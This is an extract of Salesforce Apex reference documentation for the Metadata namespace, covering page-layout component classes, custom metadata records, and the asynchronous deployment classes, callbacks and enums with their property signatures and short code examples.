The following are the classes in the Metadata namespace.

IN THIS SECTION:
  AnalyticsCloudComponentLayoutItem Class
  Represents the settings for a Wave Analytics dashboard on a standard or custom page.
  ConsoleComponent Class
  Represents a custom console component on a section of a page layout.
  Container Class
  Represents a location and style in which to display more than one custom console component in the sidebars of the console.
  CustomConsoleComponents Class
  Represents custom console components (Visualforce pages, lookup fields, or related lists) on a page layout.
CustomMetadata Class
Represents records of custom metadata types.

CustomMetadataValue Class
Represents custom metadata values for a custom metadata component.

DeployCallback Interface
An interface for metadata deployment callback classes.

DeployCallbackContext Class
Represents context information for a deployment job.

DeployContainer Class
Represents a container for custom metadata components to be deployed.

DeployDetails Class
Contains detailed information on deployed components.

DeployMessage Class
Represents result information for the deployment of a metadata component.

DeployProblemType Enum
Describes the problem type for an unsuccessful component deploy.

DeployResult Class
Represents the results of a metadata deployment.

DeployStatus Enum
The result status of a deployment.

FeedItemTypeEnum Enum
The type of feed item in a feed-based page layout.

FeedLayout Class
Represents the values that define the feed view of a feed-based page layout. Feed-based layouts are available on Account, Case, Contact, Lead, Opportunity, custom, and external objects. They include a feed view and a detail view.

FeedLayoutComponent Class
Represents a component in the feed view of a feed-based page layout.

FeedLayoutComponentType Enum
Indicates the type of feed layout component.

FeedLayoutFilter Class
Represents a feed filter option in the feed view of a feed-based page layout. A filter can have only standardFilter or feedItemType set.

FeedLayoutFilterPosition Enum
Describes where the feed filters list is included in the layout.

FeedLayoutFilterType Enum
The type of feed layout filter.

Layout Class
Represents the metadata associated with a page layout.

LayoutColumn Class
Represents the items in a column within a layout section.
LayoutHeader Enum
Represents tagging types used for Metadata.Layout.headers

LayoutItem Class
Represents the valid values that define a layout item.

LayoutSection Class
Represents a section of a page layout, such as the Custom Links section.

LayoutSectionStyle Enum
Describes the possible styles for a layout section.

Metadata Class
An abstract base class that represents a custom metadata component.

MetadataType Enum
Represents the custom metadata components available in Apex.

MetadataValue Class
An abstract base class that represents a custom metadata component field.

MiniLayout Class
Represents a mini view of a record in the Console tab, hover details, and event overlays.

Operations Class
Represents a class to execute metadata operations, such as retrieving or deploying custom metadata.

PlatformActionList Class
Represents the list of actions, and their order, that display in the Salesforce mobile action bar for the layout.

PlatformActionListContextEnum Enum
Describes the different contexts of action lists.

PlatformActionListItem Class
Represents an action in the platform action list for a layout.

PlatformActionTypeEnum Enum
The type of action for a PlatformActionListItem.

PrimaryTabComponents Class
Represents custom console components on primary tabs in the Salesforce console.

QuickActionList Class
Represents the list of actions associated with the page layout.

QuickActionListItem Class
Represents an action in the QuickActionList.

RelatedContent Class
Represents the Mobile Cards section of the page layout.

RelatedContentItem Class
Represents an individual item in the RelatedContent list.

RelatedList Class
Represents related list custom components on the sidebars of the Salesforce console.

RelatedListItem Class
Represents an item in the related list in a page layout.
ReportChartComponentLayoutItem Class
Represents the settings for a report chart on a standard or custom page.

ReportChartComponentSize Enum
Describes the size of the displayed report chart component.

SidebarComponent Class
Represents a specific custom console component to display in a container that hosts multiple components in one of the sidebars of the Salesforce console.

SortOrder Enum
Describes the sort order of a related list.

StatusCode Enum
Describes the status code for an unsuccessful component deploy.

SubtabComponents Class
Represents custom console components on subtabs in the Salesforce console.

SummaryLayoutStyleEnum Enum
Describes the highlights panel style for a SummaryLayout.

SummaryLayout Class
Controls the appearance of the highlights panel, which summarizes key fields in a grid at the top of a page layout, when Case Feed is enabled.

SummaryLayoutItem Class
Controls the appearance of an individual field and its column and row position within the highlights panel grid, when Case Feed is enabled. You can have two fields per each grid in a highlights panel.

UiBehavior Enum
Describes the behavior for a layout item on a layout page.

AnalyticsCloudComponentLayoutItem Class
Represents the settings for a Wave Analytics dashboard on a standard or custom page.

Namespace
Metadata

Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “AnalyticsCloudComponentLayoutItem” in the Metadata API Developer Guide.

IN THIS SECTION:
AnalyticsCloudComponentLayoutItem Properties
AnalyticsCloudComponentLayoutItem Methods

AnalyticsCloudComponentLayoutItem Properties
The following are properties for AnalyticsCloudComponentLayoutItem.
IN THIS SECTION:

**assetType**
Specifies the type of Wave Analytics asset.

**devName**
Unique development name of the dashboard to add.

**error**
An error string that is populated only when an error occurred in the underlying dashboard.

**filter**
Dashboard filters for mapping data fields in the dashboard to the object’s fields.

**height**
 Specifies the height of the dashboard, in pixels.

**hideOnError**
Controls whether users see a dashboard that has an error.

**showHeader**
If true, includes the dashboard’s header bar. If false, the dashboard appears without a header bar.

**showSharing**
If set to true, and the dashboard is shareable the dashboard shows the Share icon. If set to false, the dashboard doesn’t show the Share icon.

**showTitle**
If true, includes the dashboard’s title above the dashboard. If false, the dashboard appears without a title.

**width**
Specifies the width of the dashboard, in pixels or percentage.

---

**assetType**
Specifies the type of Wave Analytics asset.

Signature

```java
public String assetType {get; set;}
```

Property Value
Type: String

**devName**
Unique development name of the dashboard to add.

Signature

```java
public String devName {get; set;}
```

Property Value
Type: String
**error**
An error string that is populated only when an error occurred in the underlying dashboard.

Signature
```
public String error {get; set;}
```

Property Value
Type: String

**filter**
Dashboard filters for mapping data fields in the dashboard to the object’s fields.

Signature
```
public String filter {get; set;}
```

Property Value
Type: String

**height**
Specifies the height of the dashboard, in pixels.

Signature
```
public Integer height {get; set;}
```

Property Value
Type: Integer

**hideOnError**
Controls whether users see a dashboard that has an error.

Signature
```
public Boolean hideOnError {get; set;}
```

Property Value
Type: Boolean

**showHeader**
If true, includes the dashboard’s header bar. If false, the dashboard appears without a header bar.
Signature

public Boolean showHeader {get; set;}

Property Value
Type: Boolean

**showSharing**
If set to true, and the dashboard is shareable the dashboard shows the Share icon. If set to false, the dashboard doesn’t show the Share icon.

Signature

public Boolean showSharing {get; set;}

Property Value
Type: Boolean

**showTitle**
If true, includes the dashboard’s title above the dashboard. If false, the dashboard appears without a title.

Signature

public Boolean showTitle {get; set;}

Property Value
Type: Boolean

**width**
Specifies the width of the dashboard, in pixels or percentage.

Signature

public String width {get; set;}

Property Value
Type: String

**AnalyticsCloudComponentLayoutItem Methods**
The following are methods for AnalyticsCloudComponentLayoutItem.
clone()

Makes a duplicate copy of the Metadata.AnalyticsCloudComponentLayoutItem.

Signature

public Object clone()

Return Value

Type: Object

ConsoleComponent Class

Represents a custom console component on a section of a page layout.

Namespace

Metadata

Usage

Use this class when accessing Metadata.Layout metadata components. For more information, see “ConsoleComponent” in the Metadata API Developer Guide.

ConsoleComponent Properties

The following are properties for ConsoleComponent.

height
The height of the custom console component in pixels.

location
The location of the custom console component on the page layout. Valid values are right, left, top, and bottom.

visualforcePage
The unique name of the custom console component.

width
The width of the custom console component in pixels.
**height**

The height of the custom console component in pixels.

Signature

```java
public Integer height {get; set;}
```

Property Value

Type: Integer

**location**

The location of the custom console component on the page layout. Valid values are right, left, top, and bottom.

Signature

```java
public String location {get; set;}
```

Property Value

Type: String

**visualforcePage**

The unique name of the custom console component.

Signature

```java
public String visualforcePage {get; set;}
```

Property Value

Type: String

**width**

The width of the custom console component in pixels.

Signature

```java
public Integer width {get; set;}
```

Property Value

Type: Integer

**ConsoleComponent Methods**

The following are methods for `ConsoleComponent`. 
clone()  
Makes a duplicate copy of the Metadata.ConsoleComponent.

Signature  
```java  
public Object clone()  
```

Return Value  
Type: Object

Container Class  
Represents a location and style in which to display more than one custom console component in the sidebars of the console.

Namespace  
Metadata

Usage  
Use this class when accessing Metadata.Layout metadata components. For more information, see “Container” in the Metadata API Developer Guide.

Container Properties  
The following are properties for Container.

IN THIS SECTION:  
  Container Properties  
  Container Methods

height  
The height of the component’s container. The unit property determines the unit of measurement, in pixels or percent.

isContainerAutoSizeEnabled  
If set to true, stacked console components in the sidebars autosize vertically.

region  
The location of the component’s container (right, left, bottom, top).

sidebarComponents  
Represents a specific custom console component to display in the components' container.
**style**
The style of the container in which to display multiple components (stack, tab, accordion).

**unit**
The unit of measurement, in pixels or percent, for the height or width of the components’ container.

**width**
The width of the component’s container. The unit property determines the unit of measurement, in pixels or percent.

**height**
The height of the component’s container. The unit property determines the unit of measurement, in pixels or percent.

**Signature**

```java
public Integer height {get; set;}
```

**Property Value**

Type: `Integer`

**isContainerAutoSizeEnabled**
If set to true, stacked console components in the sidebars autosize vertically.

**Signature**

```java
public Boolean isContainerAutoSizeEnabled {get; set;}
```

**Property Value**

Type: `Boolean`

**region**
The location of the component’s container (right, left, bottom, top).

**Signature**

```java
public String region {get; set;}
```

**Property Value**

Type: `String`

**sidebarComponents**
Represents a specific custom console component to display in the components’ container.

**Signature**

```java
public List&lt;Metadata.SidebarComponent&gt; sidebarComponents {get; set;}
```
Property Value
Type: List<Metadata.SidebarComponent>

**style**
The style of the container in which to display multiple components (stack, tab, accordion).

Signature
`public String style {get; set;}`

Property Value
Type: String

**unit**
The unit of measurement, in pixels or percent, for the height or width of the components’ container.

Signature
`public String unit {get; set;}`

Property Value
Type: String

**width**
The width of the component’s container. The `unit` property determines the unit of measurement, in pixels or percent.

Signature
`public Integer width {get; set;}`

Property Value
Type: Integer

**Container Methods**
The following are methods for Container.

IN THIS SECTION:

clone()
Makes a duplicate copy of the Metadata.Container.

clone()
Makes a duplicate copy of the Metadata.Container.
Signature

```java
public Object clone()
```

Return Value

Type: Object

**CustomConsoleComponents Class**

Represents custom console components (Visualforce pages, lookup fields, or related lists) on a page layout.

**Namespace**

Metadata

**Usage**

Use this class when accessing `Metadata.Layout` metadata components. For more information, see “CustomConsoleComponents” in the *Metadata API Developer Guide*.

IN THIS SECTION:

- CustomConsoleComponents Properties
- CustomConsoleComponents Methods

**CustomConsoleComponents Properties**

The following are properties for `CustomConsoleComponents`.

IN THIS SECTION:

- `primaryTabComponents`
  - Represents custom console components on primary tabs in the Salesforce console.
- `subtabComponents`
  - Represents custom console components on subtabs in the Salesforce console.

**primaryTabComponents**

Represents custom console components on primary tabs in the Salesforce console.

Signature

```java
public Metadata.PrimaryTabComponents primaryTabComponents {get; set;}
```

Property Value

Type: `Metadata.PrimaryTabComponents`
subtabComponents
Represents custom console components on subtabs in the Salesforce console.

Signature
public Metadata.SubtabComponents subtabComponents {get; set;}

Property Value
Type: Metadata.SubtabComponents

CustomConsoleComponents Methods
The following are methods for CustomConsoleComponents.

IN THIS SECTION:
clone()

clone()
Makes a duplicate copy of the Metadata.CustomConsoleComponents.

Signature
public Object clone()

Return Value
Type: Object

CustomMetadata Class
Represents records of custom metadata types.

⚠️ Warning: Protected custom metadata types behave like public custom metadata types when they are outside of a managed package. Public custom metadata types are readable for all profiles, including the guest user. Do not store secrets, personally identifying information, or any private data in these records. Use protected custom metadata types only in managed packages. Outside of a managed package, use named credentials or encrypted custom fields to store secrets like OAuth tokens, passwords, and other confidential material.

Namespace
Metadata

Usage
Use Metadata.CustomMetadata to represent records of custom metadata types in Apex. For more information, see Custom Metadata Types in the Metadata API Developer Guide.
Example

// Set up custom metadata to be created in the subscriber org.
Metadata.CustomMetadata customMetadata = new Metadata.CustomMetadata();
customMetadata.fullName = 'ISVNamespace__MetadataTypeName.MetadataRecordName';

Metadata.CustomMetadataValue customField = new Metadata.CustomMetadataValue();
customField.field = 'customField__c';
customField.value = 'New value';

customMetadata.values.add(customField);

Note: When you assign namespaces to records, provide full, qualified record names to the app. If both the type and the record are in Namespace, use something like: customMetadata.fullName = 'Namespace__MetadataTypeName.Namespace__MetadataRecordName'

IN THIS SECTION:
CustomMetadata Properties
CustomMetadata Methods

CustomMetadata Properties
The following are properties for CustomMetadata.

IN THIS SECTION:

**description**
The description of the custom metadata.

**label**
The label of the custom metadata record.

**protected_x**
Property that describes whether the custom metadata record is a protected component.

**values**
A list of custom metadata values, such as custom fields, for the custom metadata record.

**description**
The description of the custom metadata.

Signature

```csharp
public String description {get; set;}
```

Property Value
Type: String
**label**
The label of the custom metadata record.

**Signature**
```java
public String label {get; set;}
```

**Property Value**
Type: String

**protected_x**
Property that describes whether the custom metadata record is a protected component.

**Signature**
```java
public Boolean protected_x {get; set;}
```

**Property Value**
Type: Boolean

**values**
A list of custom metadata values, such as custom fields, for the custom metadata record.

**Signature**
```java
public List<Metadata.CustomMetadataValue> values {get; set;}
```

**Property Value**
Type: List<Metadata.CustomMetadataValue>

**CustomMetadata Methods**
The following are methods for CustomMetadata.

**IN THIS SECTION:**

- **clone()**
  Makes a duplicate copy of the `Metadata.CustomMetadata`.

- **clone()**
  Makes a duplicate copy of the `Metadata.CustomMetadata`.

**Signature**
```java
public Object clone()
```
CustomMetadataValue Class

Represents custom metadata values for a custom metadata component.

Namespace

Metadata

Usage

Use Metadata.CustomMetadataValue to access values for custom fields of custom metadata records.

Supported Apex primitive types are:

- Boolean
- Date
- DateTime
- Decimal
- Double
- Integer
- Long
- String

Example

```apex
// Set a custom field value for a custom metadata record
Metadata.CustomMetadataValue customField = new Metadata.CustomMetadataValue();
customField.field = 'CustomField1__c';
customField.value = 'New Value';
customMetadata.values.add(customField);
```

IN THIS SECTION:

- CustomMetadataValue Properties
- CustomMetadataValue Methods

CustomMetadataValue Properties

The following are properties for CustomMetadataValue.

IN THIS SECTION:

- field
  - The field name for the custom metadata value.
value
The field value for the custom metadata value.

field
The field name for the custom metadata value.

Signature
public String field {get; set;}

Property Value
Type: String

value
The field value for the custom metadata value.

Signature
public Object value {get; set;}

Property Value
Type: Object
Supported Apex primitive types are:
• Boolean
• Date
• DateTime
• Decimal
• Double
• Integer
• Long
• String

When setting the value for relationship fields, use the qualified API name of the related metadata, not the ID.

For more information, see Primitive Data Types.

CustomMetadataValue Methods
The following are methods for CustomMetadataValue.

IN THIS SECTION:

clone()
Makes a duplicate copy of the Metadata.CustomMetadataValue.
clone()

Makes a duplicate copy of the `Metadata.CustomMetadataValue`.

Signature

```java
public Object clone()
```

Return Value

Type: `Object`

**DeployCallback Interface**

An interface for metadata deployment callback classes.

**Namespace**

`Metadata`

**Usage**

You must provide a callback class for the asynchronous deployment of custom metadata through Apex. This class must implement the `Metadata.DeployCallback` interface.

Salesforce calls your `DeployCallback.handleResult()` method asynchronously once the queued deployment completes. Because the callback is called as asynchronous Apex after deployment, there may be a brief period where the deploy has completed, but your callback has not been called yet.

IN THIS SECTION:

- **DeployCallback Methods**
- **DeployCallback Example Implementation**

**DeployCallback Methods**

The following are methods for `DeployCallback`.

IN THIS SECTION:

- **handleResult(var1, var2)**

  Method that is called when the asynchronous deployment of custom metadata completes.

**handleResult(var1, var2)**

Method that is called when the asynchronous deployment of custom metadata completes.

Signature

```java
public void handleResult(Metadata.DeployResult var1, Metadata.DeployCallbackContext var2)
```
Parameters

var1
Type: Metadata.DeployResult
The results of the asynchronous deployment.

var2
Type: Metadata.DeployCallbackContext
The context for the queued asynchronous deployment job.

Return Value
Type: void

DeployCallback Example Implementation

This is an example implementation of the Metadata.DeployCallback interface.

```java
public class MyCallback implements Metadata.DeployCallback {
    public void handleResult(Metadata.DeployResult result,
                            Metadata.DeployCallbackContext context) {
        if (result.status == Metadata.DeployStatus.Succeeded) {
            // Deployment was successful
        } else {
            // Deployment was not successful
        }
    }
}
```

The following example uses this implementation for a deployment.

```java
// Setup callback and deploy
MyCallback callback = new MyCallback();
Metadata.Operations.enqueueDeployment(mdContainer, callback);
```

DeployCallbackContext Class

Represents context information for a deployment job.

Namespace

Metadata

Usage

After an asynchronous metadata deployment finishes, Salesforce provides an instance of Metadata.DeployCallbackContext in an asynchronous call to your implementation of handleResult() in your Metadata.DeployCallback class.

Example

```java
public void handleResult(Metadata.DeployResult result,
```
Metadata.DeployCallbackContext context) {
    // Check the callback job ID for the deployment
    Id jobId = context.getCallbackJobId();
    // ...process the results...
}

IN THIS SECTION:

DeployCallbackContext Methods

DeployCallbackContext Methods
The following are methods for DeployCallbackContext.

IN THIS SECTION:

clone()
Makes a duplicate copy of the Metadata.DeployCallbackContext.

getCallbackJobId()
 Gets the asynchronous Apex job ID for the callback job.

close()  
Makes a duplicate copy of the Metadata.DeployCallbackContext.

Signature
public Object clone()

Return Value
Type: Object

getCallbackJobId()  
Gets the asynchronous Apex job ID for the callback job.

Signature
public Id getCallbackJobId()

Return Value
Type: Id

DeployContainer Class
Represents a container for custom metadata components to be deployed.
Namespace

Metadata

Usage

Use `Metadata.DeployContainer` to manage custom metadata components for deployment. A container must have one or more components before being deployed.

Example

```java
// Use DeployContainer for deployment
Metadata.DeployContainer mdContainer = new Metadata.DeployContainer();
mdContainer.addMetadata(customMetadata);
...

// Enqueue deploy
Metadata.Operations.enqueueDeployment(mdContainer, callback);
```

IN THIS SECTION:

DeployContainer Methods

The following are methods for `DeployContainer`.

IN THIS SECTION:

- `addMetadata(md)`
  Add a custom metadata component to the container.
- `clone()`
  Makes a duplicate copy of the `Metadata.DeployContainer`.
- `getMetadata()`
  Retrieves a list of custom metadata components from the container.
- `removeMetadata(md)`
  Removes a metadata component from the container.
- `removeMetadataByFullName(fullName)`
  Removes a metadata component from the container using the component’s full name.

**addMetadata (md)**

Add a custom metadata component to the container.

Signature

```java
public void addMetadata(Metadata.Metadata md)
```
Parameters

md
Type: Metadata.Metadata

A custom metadata component class that derives from Metadata.Metadata. Avoid adding components to a Metadata.DeployContainer that have the same Metadata.Metadata.fullName because it causes deployment errors.

Return Value
Type: void

clone()
Makes a duplicate copy of the Metadata.DeployContainer.

Signature
public Object clone()

Return Value
Type: Object

getMetadata()
Retrieves a list of custom metadata components from the container.

Signature
public List<Metadata.Metadata> getMetadata()

Return Value
Type: List<Metadata.Metadata>

removeMetadata(md)
Removes a metadata component from the container.

Signature
public Boolean removeMetadata(Metadata.Metadata md)

Parameters

md
Type: Metadata.Metadata

Metadata component to remove.
Return Value
Type: Boolean
Returns true if the container changed as a result of the call.

**removeMetadataByFullName (fullName)**
Removes a metadata component from the container using the component’s full name.

**Signature**
public Boolean removeMetadataByFullName(String fullName)

**Parameters**
*fullName*
Type: String
Full name of the component to remove.

Return Value
Type: Boolean
Returns true if the container changed as a result of the call.

**DeployDetails Class**
Contains detailed information on deployed components.

**Namespace**
Metadata

**Usage**
Use this class to obtain a list of the successfully and unsuccessfully deployed components after a completed deployment by Salesforce in your Metadata.DeployCallback results.

IN THIS SECTION:
- DeployDetails Properties
- DeployDetails Methods

**DeployDetails Properties**
The following are properties for DeployDetails.

IN THIS SECTION:
- componentFailures
  Contains a list of information about components that failed to deploy.
componentSuccesses
Contains a list of information about components that deployed successfully.

componentFailures
Contains a list of information about components that failed to deploy.

Signature
public List<Metadata.DeployMessage> componentFailures {get; set;}

Property Value
Type: List<Metadata.DeployMessage>

componentSuccesses
Contains a list of information about components that deployed successfully.

Signature
public List<Metadata.DeployMessage> componentSuccesses {get; set;}

Property Value
Type: List<Metadata.DeployMessage>

DeployDetails Methods
The following are methods for DeployDetails.

IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.DeployDetails.

clone()
Makes a duplicate copy of the Metadata.DeployDetails.

Signature
public Object clone()

Return Value
Type: Object

DeployMessage Class
Represents result information for the deployment of a metadata component.
Namespace

Metadata

Usage

Use DeployMessage to access detailed information about component deployments. Salesforce provides a list of DeployMessages for a completed deployment via the DeployDetails and DeployResults instances sent in the DeployCallback.handleResult() callback.

IN THIS SECTION:
- DeployMessage Properties
- DeployMessage Methods

DeployMessage Properties

The following are properties for DeployMessage.

IN THIS SECTION:
- changed
  Determines whether the component was changed after deployment. If true, the component was changed as a result of the deployment. If false, the deployed component was the same as the corresponding component already in the org.
- columnNumber
  Each component is represented by a text file. If an error occurs during deployment, this property represents the column of the text file where the error occurred.
- componentType
  The metadata type of the component in the deployment.
- created
  If true, the component was created as a result of the deployment. If false, the component was modified as a result of the deployment.
- createdDate
  The date and time when the component was created as a result of the deployment.
- deleted
  If true, the component was deleted as a result of the deployment. If false, the component was either new or modified as result of the deployment.
- fileName
  The name of the file in the metadata archive used to deploy the component.
- fullName
  Full name for the custom metadata component.
- id
  ID of the component that was deployed.
- lineNumber
  Each component is represented by a text file. If an error occurs during deployment, this field represents the line number of the text file where the error occurred.
problem
If an error or warning occurred, this field contains a description of the problem that caused the deployment to fail.

problemType
Indicates the problem type, for example, an error or warning.

success
Indicates whether the component was successfully deployed (true) or not (false).

changed
Determines whether the component was changed after deployment. If true, the component was changed as a result of the deployment. If false, the deployed component was the same as the corresponding component already in the org.

Signature

```java
public Boolean changed {get; set;}
```

Property Value
Type: Boolean

columnNumber
Each component is represented by a text file. If an error occurs during deployment, this property represents the column of the text file where the error occurred.

Signature

```java
public Integer columnNumber {get; set;}
```

Property Value
Type: Integer

componentType
The metadata type of the component in the deployment.

Signature

```java
public String componentType {get; set;}
```

Property Value
Type: String

created
If true, the component was created as a result of the deployment. If false, the component was modified as a result of the deployment.
**signature**

```java
public Boolean created {get; set;}
```

**property value**

_Type: Boolean_

**createdDate**

The date and time when the component was created as a result of the deployment.

**signature**

```java
public Datetime createdDate {get; set;}
```

**property value**

_Type: Datetime_

**deleted**

If true, the component was deleted as a result of the deployment. If false, the component was either new or modified as result of the deployment.

**signature**

```java
public Boolean deleted {get; set;}
```

**property value**

_Type: Boolean_

**fileName**

The name of the file in the metadata archive used to deploy the component.

**signature**

```java
public String fileName {get; set;}
```

**property value**

_Type: String_

**fullName**

Full name for the custom metadata component.

**signature**

```java
public String fullName {get; set;}
```
Property Value
Type: String

id
ID of the component that was deployed.

Signature
public Id id {get; set;}

Property Value
Type: Id

lineNumber
Each component is represented by a text file. If an error occurs during deployment, this field represents the line number of the text file where the error occurred.

Signature
public Integer lineNumber {get; set;}

Property Value
Type: Integer

problem
If an error or warning occurred, this field contains a description of the problem that caused the deployment to fail.

Signature
public String problem {get; set;}

Property Value
Type: String

problemType
Indicates the problem type, for example, an error or warning.

Signature
public Metadata.DeployProblemType problemType {get; set;}

Property Value
Type: Metadata.DeployProblemType
**success**
Indicates whether the component was successfully deployed (true) or not (false).

Signature

```java
public Boolean success {get; set;}
```

Property Value
Type: Boolean

**DeployMessage Methods**
The following are methods for DeployMessage.

**IN THIS SECTION:**

- **clone()**
  Makes a duplicate copy of the Metadata.DeployMessage.

**clone()**
Makes a duplicate copy of the Metadata.DeployMessage.

Signature

```java
public Object clone()
```

Return Value
Type: Object

**DeployProblemType Enum**
Describes the problem type for an unsuccessful component deploy.

**Enum Values**
The following are the values of the Metadata.DeployProblemType enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Error</td>
<td>The deploy problem is an error.</td>
</tr>
<tr>
<td>Info</td>
<td>The deploy problem is of type &quot;Info&quot;.</td>
</tr>
<tr>
<td>Warning</td>
<td>The deploy problem is a warning.</td>
</tr>
</tbody>
</table>

SEE ALSO:
- StatusCode Enum

2634
DeployResult Class

Represents the results of a metadata deployment.

Namespace

Metadata

Usage

After an asynchronous metadata deployment finishes, Salesforce provides an instance of `Metadata.DeployResult` in a call to your implementation of `handleResult()` in your `Metadata.DeployCallback` class.

Example

```java
public void handleResult(Metadata.DeployResult result,
                        Metadata.DeployCallbackContext context) {
    if (result.status == Metadata.DeployStatus.Succeeded) {
        // Deployment was successful
    } else {
        // Deployment was not successful
    }
}
```

IN THIS SECTION:

- DeployResult Properties
- DeployResult Methods

DeployResult Properties

The following are properties for `DeployResult`.

IN THIS SECTION:

- `canceledBy`
  ID of the user who canceled the queued deployment.
- `canceledByName`
  Full name of the user who canceled the queued deployment.
- `checkOnly`
  Indicates whether the deployment checked only the validity of the deployed files without making changes in the org. A check-only deployment does not deploy components or change the org in any way.
- `completedDate`
  Date and time for when the deployment process ended.
- `createdBy`
  ID of the user who created the deployment job.
createdByName
Full name of the user who created the deployment job.

createdDate
Date and time the deployment job was first queued.

details
Provides the details for components in a completed deployment.

done
Indicates whether Salesforce finished processing the deployment.

errorMessage
Message corresponding to the values in the errorStatusCode property, if any.

errorStatusCode
If an error occurs during deployment, a status code is returned. The message corresponding to the status code is returned in the errorMessage field property.

id
ID of the deployment job.

ignoreWarnings
Specifies whether a deployment continues, even if the deployment generates warnings.

lastModifiedDate
Date and time of the last update for the deployment process.

messages
A list of all the detail messages for a deployment.

numberComponentErrors
The number of components that generated errors during the deployment.

numberComponentsDeployed
The number of components deployed in the deployment process. Use this value with the numberComponentsTotal property to get an estimate of the deployment’s progress.

numberComponentsTotal
The total number of components in the deployment. Use this value with the numberComponentsDeployed property to get an estimate of the deployment’s progress.

rollbackOnError
Indicates whether any failure causes a complete rollback (true) or not (false) of the deployment.

startDate
Date and time the deployment process began.

stateDetail
Indicates which component is being deployed.

status
Indicates the current state of the deployment.

success
Indicates whether the deployment was successful (true) or not (false).
**canceledBy**
ID of the user who canceled the queued deployment.

Signature
```
public String canceledBy {get; set;}
```

Property Value
Type: String

**canceledByName**
Full name of the user who canceled the queued deployment.

Signature
```
public String canceledByName {get; set;}
```

Property Value
Type: String

**checkOnly**
Indicates whether the deployment checked only the validity of the deployed files without making changes in the org. A check-only deployment does not deploy components or change the org in any way.

Signature
```
public Boolean checkOnly {get; set;}
```

Property Value
Type: Boolean

**completedDate**
Date and time for when the deployment process ended.

Signature
```
public Datetime completedDate {get; set;}
```

Property Value
Type: Datetime

**createdBy**
ID of the user who created the deployment job.
Signature

```
public String createdBy {get; set;}
```

Property Value
Type: String

**createdByName**
Full name of the user who created the deployment job.

Signature

```
public String createdByName {get; set;}
```

Property Value
Type: String

**createdDate**
Date and time the deployment job was first queued.

Signature

```
public Datetime createdDate {get; set;}
```

Property Value
Type: Datetime

**details**
Provides the details for components in a completed deployment.

Signature

```
public Metadata.DeployDetails details {get; set;}
```

Property Value
Type: Metadata.DeployDetails

**done**
Indicates whether Salesforce finished processing the deployment.

Signature

```
public Boolean done {get; set;}
```
Property Value
Type: Boolean

**errorMessage**
Message corresponding to the values in the `errorStatusCode` property, if any.

Signature
`public String errorMessage {get; set;}`

Property Value
Type: String

**errorStatusCode**
If an error occurs during deployment, a status code is returned. The message corresponding to the status code is returned in the `errorMessage` property.

Signature
`public String errorStatusCode {get; set;}`

Property Value
Type: String

For a description of each status code value, see “StatusCode” under “Core Data Types Used in API Calls” in the SOAP API Developer Guide.

**id**
ID of the deployment job.

Signature
`public Id id {get; set;}`

Property Value
Type: Id

**ignoreWarnings**
Specifies whether a deployment continues, even if the deployment generates warnings.

Signature
`public Boolean ignoreWarnings {get; set;}`
Property Value
Type: Boolean

**lastModifiedDate**
Date and time of the last update for the deployment process.

Signature
```csharp
public Datetime lastModifiedDate {get; set;}
```

Property Value
Type: Datetime

**messages**
A list of all the detail messages for a deployment.

Signature
```csharp
public List<Metadata.DeployMessage> messages {get; set;}
```

Property Value
Type: List<Metadata.DeployMessage>

**numberComponentErrors**
The number of components that generated errors during the deployment.

Signature
```csharp
public Integer numberComponentErrors {get; set;}
```

Property Value
Type: Integer

**numberComponentsDeployed**
The number of components deployed in the deployment process. Use this value with the numberComponentsTotal property to get an estimate of the deployment’s progress.

Signature
```csharp
public Integer numberComponentsDeployed {get; set;}
```

Property Value
Type: Integer
**numberComponentsTotal**
The total number of components in the deployment. Use this value with the `numberComponentsDeployed` property to get an estimate of the deployment's progress.

Signature
```java
public Integer numberComponentsTotal {get; set;}
```
Property Value
Type: `Integer`

**rollbackOnError**
Indicates whether any failure causes a complete rollback (true) or not (false) of the deployment.

Signature
```java
public Boolean rollbackOnError {get; set;}
```
Property Value
Type: `Boolean`

**startDate**
Date and time the deployment process began.

Signature
```java
public Datetime startDate {get; set;}
```
Property Value
Type: `Datetime`

**stateDetail**
Indicates which component is being deployed.

Signature
```java
public String stateDetail {get; set;}
```
Property Value
Type: `String`

**status**
Indicates the current state of the deployment.
Signature
public Metadata.DeployStatus status {get; set;}

Property Value
Type: Metadata.DeployStatus

**success**
Indicates whether the deployment was successful (true) or not (false).

Signature
public Boolean success {get; set;}

Property Value
Type: Boolean

**DeployResult Methods**
The following are methods for DeployResult.

**IN THIS SECTION:**
- **clone()**
  Makes a duplicate copy of the Metadata.DeployResult.

**clone()**
Makes a duplicate copy of the Metadata.DeployResult.

Signature
public Object clone()

Return Value
Type: Object

**DeployStatus Enum**
The result status of a deployment.

**Usage**
Metadata.DeployResult.status uses this enum to describe the results of the deployment.
### Enum Values

The following are the values of the `Metadata.DeployStatus` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Canceled</td>
<td>The queued deployment was canceled.</td>
</tr>
<tr>
<td>Canceling</td>
<td>The queued deployment is being canceled.</td>
</tr>
<tr>
<td>Failed</td>
<td>The deployment failed.</td>
</tr>
<tr>
<td>InProgress</td>
<td>The deployment has been started and is in progress.</td>
</tr>
<tr>
<td>Pending</td>
<td>The deployment has been queued but not started.</td>
</tr>
<tr>
<td>Succeeded</td>
<td>The deployment succeeded.</td>
</tr>
<tr>
<td>SucceededPartial</td>
<td>The deployment succeeded, but some components might not have been successfully deployed. Check <code>Metadata.DeployResult</code> for more details.</td>
</tr>
</tbody>
</table>

### FeedItemTypeEnum Enum

The type of feed item in a feed-based page layout.

### Enum Values

The following are the values of the `Metadata.FeedItemTypeEnum` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ActivityEvent</td>
<td>Activity on tasks and events associated with a case. Available only on Case layouts.</td>
</tr>
<tr>
<td>AdvancedTextPost</td>
<td>Group announcements posted on a feed.</td>
</tr>
<tr>
<td>AnnouncementPost</td>
<td>Not used.</td>
</tr>
<tr>
<td>ApprovalPost</td>
<td>Approvals submitted on a feed.</td>
</tr>
<tr>
<td>AttachArticleEvent</td>
<td>Activity related to attaching articles to cases.</td>
</tr>
<tr>
<td>BasicTemplateFeedItem</td>
<td>Activity from the Log a Call action. Available only on layouts for objects that support Activities (tasks and events).</td>
</tr>
<tr>
<td>CallLogPost</td>
<td>Activity from the Log a Call action. Available only on layouts for objects that support Activities (tasks and events).</td>
</tr>
